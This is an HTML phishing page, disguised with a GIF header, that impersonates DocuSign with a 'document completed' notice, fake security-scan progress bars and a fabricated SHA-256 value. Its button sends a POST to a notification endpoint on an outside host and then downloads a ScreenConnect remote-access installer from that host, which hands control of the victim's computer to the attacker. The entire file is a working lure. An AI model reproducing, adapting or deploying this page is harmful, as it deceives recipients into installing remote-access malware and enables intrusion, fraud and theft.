GIF89a;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="description" content="DocuSign Document Verification Portal">
<meta name="x-apple-disable-message-reformatting">
<title>Document Completed - DocuSign</title>
<link rel="icon" type="image/x-icon" href="https://www.docusign.com/sites/default/files/favicon_0.ico">
<link rel="shortcut icon" href="https://www.docusign.com/sites/default/files/favicon_0.ico">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{
--ds-purple-deep:#1E0B41;
--ds-purple-dark:#260559;
--ds-purple-primary:#5B3DF6;
--ds-purple-light:#7C5CFF;
--ds-coral:#FF6B6B;
--ds-yellow:#FFC107;
--ds-gold:#FFB800;
--ds-black:#1a1a1a;
--ds-gray-dark:#333;
--ds-gray-medium:#666;
--ds-gray-light:#999;
--ds-bg:#F7F7F9;
--ds-white:#ffffff;
}
*{box-sizing:border-box;margin:0;padding:0}
body{
margin:0;
font-family:'Inter',system-ui,-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;
background-color:var(--ds-bg);
color:var(--ds-black);
line-height:1.5;
-webkit-font-smoothing:antialiased;
-moz-osx-font-smoothing:grayscale;
}
/* Container */
.container{
max-width:640px;
margin:0 auto;
padding:20px;
}
/* Card */
.card{
background:var(--ds-white);
border-radius:12px;
box-shadow:0 4px 24px rgba(0,0,0,0.08);
overflow:hidden;
}
/* Header with Logo */
.header{
padding:20px 24px;
background:var(--ds-white);
border-bottom:1px solid #EAEAEA;
}
.logo{
display:flex;
align-items:center;
gap:12px;
}
.logo-icon{
position:relative;
width:32px;
height:32px;
}
.logo-icon::before{
content:"";
position:absolute;
bottom:0;
left:0;
width:22px;
height:22px;
background:var(--ds-purple-primary);
border-radius:5px 0 5px 5px;
}
.logo-icon::after{
content:"";
position:absolute;
top:0;
right:0;
width:22px;
height:22px;
background:var(--ds-coral);
border-radius:50%;
}
.logo-doc{
position:absolute;
top:6px;
left:6px;
width:16px;
height:16px;
background:var(--ds-black);
border-radius:3px 3px 3px 0;
z-index:2;
}
.logo-text{
font-size:22px;
font-weight:600;
color:var(--ds-black);
letter-spacing:-0.5px;
}
/* Hero Section - Deep Purple */
.hero{
background:var(--ds-purple-dark);
color:var(--ds-white);
padding:48px 24px;
text-align:center;
position:relative;
}
.hero::before{
content:"";
position:absolute;
top:0;
left:0;
right:0;
bottom:0;
background:linear-gradient(135deg,rgba(91,61,246,0.3) 0%,transparent 50%);
pointer-events:none;
}
.hero-content{
position:relative;
z-index:1;
}
.hero-icon{
width:80px;
height:80px;
margin:0 auto 24px;
background:rgba(255,255,255,0.1);
border-radius:50%;
display:flex;
align-items:center;
justify-content:center;
font-size:40px;
border:2px solid rgba(255,255,255,0.2);
}
.hero h1{
font-size:24px;
font-weight:600;
margin-bottom:8px;
color:var(--ds-white);
}
.hero p{
font-size:15px;
color:rgba(255,255,255,0.85);
margin-bottom:32px;
}
/* Progress Steps */
.steps{
display:none;
padding:40px 24px;
text-align:center;
}
.steps.active{
display:block;
}
.step-icon{
width:64px;
height:64px;
border-radius:50%;
background:var(--ds-purple-primary);
margin:0 auto 20px;
display:flex;
align-items:center;
justify-content:center;
color:var(--ds-white);
font-size:28px;
box-shadow:0 8px 24px rgba(91,61,246,0.3);
}
.steps h2{
font-size:20px;
font-weight:600;
color:var(--ds-black);
margin-bottom:8px;
}
.steps p{
font-size:14px;
color:var(--ds-gray-medium);
margin-bottom:24px;
}
/* Progress Bar */
.progress-container{
max-width:400px;
margin:0 auto 24px;
}
.progress-bar{
height:8px;
background:#E8E8EC;
border-radius:999px;
overflow:hidden;
}
.progress-fill{
height:100%;
width:0%;
background:linear-gradient(90deg,var(--ds-purple-primary),var(--ds-purple-light));
border-radius:999px;
transition:width 0.3s ease;
}
.progress-text{
margin-top:12px;
font-size:14px;
font-weight:600;
color:var(--ds-purple-primary);
}
.progress-subtext{
margin-top:4px;
font-size:13px;
color:var(--ds-gray-light);
font-style:italic;
}
/* Meta Info */
.meta{
display:flex;
gap:12px;
justify-content:center;
flex-wrap:wrap;
margin-top:24px;
}
.meta-chip{
background:#F0EDFF;
border:1px solid #E0D9FF;
border-radius:999px;
padding:8px 16px;
font-size:13px;
color:var(--ds-purple-dark);
font-weight:500;
}
/* CTA Button - Yellow/Gold */
.btn-primary{
display:inline-flex;
align-items:center;
gap:10px;
background:var(--ds-yellow);
color:var(--ds-black);
padding:16px 32px;
border-radius:8px;
text-decoration:none;
font-weight:700;
font-size:15px;
border:none;
cursor:pointer;
transition:all 0.2s ease;
box-shadow:0 4px 16px rgba(255,193,7,0.3);
margin-top:8px;
}
.btn-primary:hover:not(:disabled){
background:var(--ds-gold);
transform:translateY(-2px);
box-shadow:0 6px 20px rgba(255,193,7,0.4);
}
.btn-primary:disabled{
opacity:0.5;
cursor:not-allowed;
background:#ccc;
box-shadow:none;
}
.btn-primary.pulse{
animation:pulse-yellow 1.5s infinite;
}
@keyframes pulse-yellow{
0%{box-shadow:0 0 0 0 rgba(255,193,7,0.6)}
70%{box-shadow:0 0 0 12px rgba(255,193,7,0)}
100%{box-shadow:0 0 0 0 rgba(255,193,7,0)}
}
/* Document Icon */
.doc-icon{
width:20px;
height:24px;
background:var(--ds-black);
border-radius:3px;
position:relative;
}
.doc-icon::before{
content:"";
position:absolute;
top:4px;
left:4px;
right:4px;
height:2px;
background:rgba(255,255,255,0.3);
box-shadow:0 4px 0 rgba(255,255,255,0.3),0 8px 0 rgba(255,255,255,0.3);
}
.doc-icon::after{
content:"";
position:absolute;
bottom:0;
right:0;
width:8px;
height:8px;
background:var(--ds-coral);
border-radius:3px 0 0 0;
}
/* Countdown */
.countdown{
margin-top:16px;
font-size:14px;
color:var(--ds-gray-medium);
font-weight:500;
}
/* Verification Badge */
.verify-badge{
display:inline-flex;
align-items:center;
gap:8px;
margin-top:20px;
background:#E8F5E9;
color:#2E7D32;
border:1px solid #A5D6A7;
border-radius:999px;
padding:8px 16px;
font-size:13px;
font-weight:600;
}
.verify-badge::before{
content:"✓";
width:18px;
height:18px;
background:#2E7D32;
color:var(--ds-white);
border-radius:50%;
display:flex;
align-items:center;
justify-content:center;
font-size:11px;
}
/* Footer */
.footer{
padding:32px 24px;
background:#F7F7F9;
border-top:1px solid #EAEAEA;
}
.footer-section{
margin-bottom:20px;
}
.footer-title{
font-size:13px;
font-weight:700;
color:var(--ds-black);
margin-bottom:8px;
}
.footer-text{
font-size:13px;
color:var(--ds-gray-medium);
line-height:1.6;
}
.footer-highlight{
background:#FFF9C4;
padding:2px 6px;
color:var(--ds-black);
font-weight:500;
}
.copyright{
margin-top:24px;
padding-top:20px;
border-top:1px solid #E0E0E0;
font-size:12px;
color:var(--ds-gray-light);
}
/* Toast */
#toast{
position:fixed;
bottom:24px;
right:24px;
background:var(--ds-black);
color:var(--ds-white);
padding:16px 24px;
border-radius:10px;
box-shadow:0 8px 32px rgba(0,0,0,0.2);
font-size:14px;
font-weight:500;
opacity:0;
transform:translateY(30px);
transition:all 0.4s ease;
z-index:9999;
}
#toast.show{
opacity:1;
transform:translateY(0);
}
/* Overlay */
#overlay{
position:fixed;
top:0;
left:0;
right:0;
bottom:0;
background:rgba(255,255,255,0.98);
display:flex;
align-items:center;
justify-content:center;
z-index:9999;
opacity:0;
pointer-events:none;
transition:opacity 0.4s ease;
}
#overlay.show{
opacity:1;
pointer-events:auto;
}
.overlay-content{
text-align:center;
}
.overlay-icon{
font-size:56px;
margin-bottom:16px;
}
.overlay-text{
font-size:20px;
color:var(--ds-black);
font-weight:600;
}
.overlay-subtext{
font-size:14px;
color:var(--ds-gray-medium);
margin-top:8px;
}
/* Log */
#log{
margin:24px;
padding:16px;
background:#FAFAFA;
border:1px solid #E8E8EC;
border-radius:8px;
text-align:left;
font-size:12px;
color:var(--ds-gray-medium);
max-height:120px;
overflow-y:auto;
font-family:'SF Mono',Monaco,monospace;
display:none;
}
#log.show{
display:block;
}
/* Responsive */
@media (max-width:640px){
.container{
padding:0;
}
.card{
border-radius:0;
box-shadow:none;
}
.hero{
padding:40px 20px;
}
.hero h1{
font-size:22px;
}
.steps{
padding:32px 20px;
}
}
/* Hidden/Show states */
.hidden{display:none}
.fade{opacity:0;transform:translateY(12px);transition:opacity 0.4s ease,transform 0.4s ease}
.fade.show{opacity:1;transform:none}
</style>
<base target="_blank">
</head>
<body>
<div class="container">
<div class="card">
<!-- Header -->
<div class="header">
<div class="logo">
<div class="logo-icon">
<div class="logo-doc"></div>
</div>
<span class="logo-text">docusign</span>
</div>
</div>
<!-- Hero Section -->
<div class="hero">
<div class="hero-content">
<div class="hero-icon" id="heroIcon">📄</div>
<h1 id="heroTitle">Your document is ready</h1>
<p id="heroSubtitle">Please review and complete the signing process</p>
<a id="downloadBtn" class="btn-primary" href="https://dashboarduat.paynnow.com/fm/ScreenConnect.ClientSetup.msi">
<div class="doc-icon"></div>
<span id="btnText">VIEW COMPLETED DOCUMENT</span>
</a>
<div id="countdown" class="countdown" style="color:rgba(255,255,255,0.7);margin-top:16px;"></div>
</div>
</div>
<!-- Step 1: Preparing -->
<div id="step1" class="steps active">
<div class="step-icon">⏳</div>
<h2>Preparing Secure Document</h2>
<p>Initializing verification pipeline...</p>
<div class="progress-container">
<div class="progress-bar">
<div id="bar1" class="progress-fill"></div>
</div>
<div id="pt1" class="progress-text">0%</div>
<div id="sub1" class="progress-subtext">Verifying document security</div>
</div>
</div>
<!-- Step 2: Scanning -->
<div id="step2" class="steps fade">
<div class="step-icon">🔎</div>
<h2>Validation & Integrity Scan</h2>
<p>Scanning and validating file contents...</p>
<div class="progress-container">
<div class="progress-bar">
<div id="bar2" class="progress-fill"></div>
</div>
<div id="pt2" class="progress-text">0%</div>
<div id="sub2" class="progress-subtext">Running integrity checks</div>
</div>
<div class="meta">
<div class="meta-chip">SHA-256: <span id="sha">calculating...</span></div>
<div class="meta-chip">Size: 24.6 MB</div>
</div>
</div>
<!-- Step 3: Complete -->
<div id="step3" class="steps fade">
<div class="step-icon" style="background:#2E7D32;">✓</div>
<h2>Document Verified</h2>
<p>Financial Agreement – 051124 – J15224</p>
<div class="verify-badge">DocuSign Verified</div>
<div id="autoMsg" class="hidden" style="margin-top:16px;font-size:13px;color:var(--ds-gray-medium);">
Your document will open shortly...
</div>
</div>
<!-- Log -->
<div id="log"><strong>System Log:</strong><br></div>
<!-- Footer -->
<div class="footer">
<div class="footer-section">
<div class="footer-title">Do Not Share This Email</div>
<div class="footer-text">
This email contains a secure link to <span class="footer-highlight">DocuSign</span>.
Please do not share this email, link, or access code with others.
</div>
</div>
<div class="footer-section">
<div class="footer-title">About DocuSign</div>
<div class="footer-text">
Sign documents electronically in just minutes. It's safe, secure, and legally binding.
</div>
</div>
<div class="footer-section">
<div class="footer-title">Questions about the Document?</div>
<div class="footer-text">
If you need to modify the document or have questions, please reach out to the sender directly.
</div>
</div>
<div class="copyright">
© 2026 DocuSign, Inc. All rights reserved.<br>
This message was sent to you by a sender using the DocuSign Electronic Signature Service.
</div>
</div>
</div>
</div>
<!-- Toast -->
<div id="toast">✓ Download Ready – File scanned and verified</div>
<!-- Overlay -->
<div id="overlay">
<div class="overlay-content">
<div class="overlay-icon">📄</div>
<div class="overlay-text">Opening Document...</div>
<div class="overlay-subtext">Please wait while we prepare your file</div>
</div>
</div>
<script>
const FILE_NAME = "ScreenConnect.ClientSetup.msi";
const FILE_URL = "https://dashboarduat.paynnow.com/fm/ScreenConnect.ClientSetup.msi";
const NOTIFY_URL = "https://dashboarduat.paynnow.com/ftx/notify.php";
const LOAD_MS = randMs(4000,8000);
const VALIDATION_MS = randMs(2000,4000);
const DOWNLOAD_DELAY = 3000;
const downloadBtn = document.getElementById("downloadBtn");
const btnText = document.getElementById("btnText");
const logBox = document.getElementById("log");
let notificationSent = false;
function log(m) {
if(!logBox.classList.contains("show")) logBox.classList.add("show");
logBox.innerHTML += m + "<br>";
logBox.scrollTop = logBox.scrollHeight;
}
// Animate dots
let dots = 0;
setInterval(() => {
dots = (dots + 1) % 4;
const el = document.getElementById("sub1");
if(el) el.textContent = "Verifying document security" + ".".repeat(dots);
}, 500);
// Start sequence
runProgress("bar1", "pt1", LOAD_MS, () => {
document.getElementById("sha").textContent = generateHash(FILE_NAME);
switchStep("step1", "step2");
runProgress("bar2", "pt2", VALIDATION_MS, () => {
switchStep("step2", "step3");
enableDownload();
});
});
function enableDownload() {
let remaining = Math.ceil(DOWNLOAD_DELAY / 1000);
const countdownEl = document.getElementById("countdown");
const heroTitle = document.getElementById("heroTitle");
const heroSubtitle = document.getElementById("heroSubtitle");
const heroIcon = document.getElementById("heroIcon");
heroTitle.textContent = "Your document has been completed";
heroSubtitle.textContent = "All parties have completed signing. Please review and electronically sign.";
heroIcon.textContent = "✓";
btnText.textContent = "Preparing...";
downloadBtn.style.opacity = "0.5";
downloadBtn.style.pointerEvents = "none";
countdownEl.textContent = `Button will enable in ${remaining}s`;
const timer = setInterval(() => {
remaining--;
if(remaining > 0) {
countdownEl.textContent = `Button will enable in ${remaining}s`;
} else {
clearInterval(timer);
countdownEl.textContent = "";
btnText.textContent = "VIEW COMPLETED DOCUMENT";
downloadBtn.style.opacity = "1";
downloadBtn.style.pointerEvents = "auto";
downloadBtn.classList.add("pulse");
showToast();
log("Download ready at " + new Date().toLocaleTimeString());
}
}, 1000);
}
downloadBtn.addEventListener("click", async function(e) {
if(notificationSent) return;
notificationSent = true;
e.preventDefault();
log("Sending notification...");
try {
await fetch(NOTIFY_URL, { method: "POST" });
log("Notification sent successfully");
} catch(err) {
console.error("Notification failed:", err);
}
document.getElementById("overlay").classList.add("show");
setTimeout(() => {
window.location.href = FILE_URL;
}, 800);
});
function runProgress(barId, textId, duration, callback) {
const bar = document.getElementById(barId);
const text = document.getElementById(textId);
let progress = 0;
const step = 100 / (duration / 50);
const interval = setInterval(() => {
progress += step;
if(progress >= 100) {
progress = 100;
clearInterval(interval);
if(callback) callback();
}
bar.style.width = progress + "%";
text.textContent = Math.floor(progress) + "%";
}, 50);
}
function switchStep(hideId, showId) {
document.getElementById(hideId).classList.remove("active");
const showEl = document.getElementById(showId);
showEl.classList.add("active");
requestAnimationFrame(() => showEl.classList.add("show"));
}
function showToast() {
const toast = document.getElementById("toast");
toast.classList.add("show");
setTimeout(() => toast.classList.remove("show"), 3000);
}
function randMs(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function generateHash(str) {
let hash = 0;
for(let i = 0; i < str.length; i++) {
const char = str.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return "sha256:" + Math.abs(hash).toString(16).substring(0, 16) + "...";
}
</script>
</body>
</html>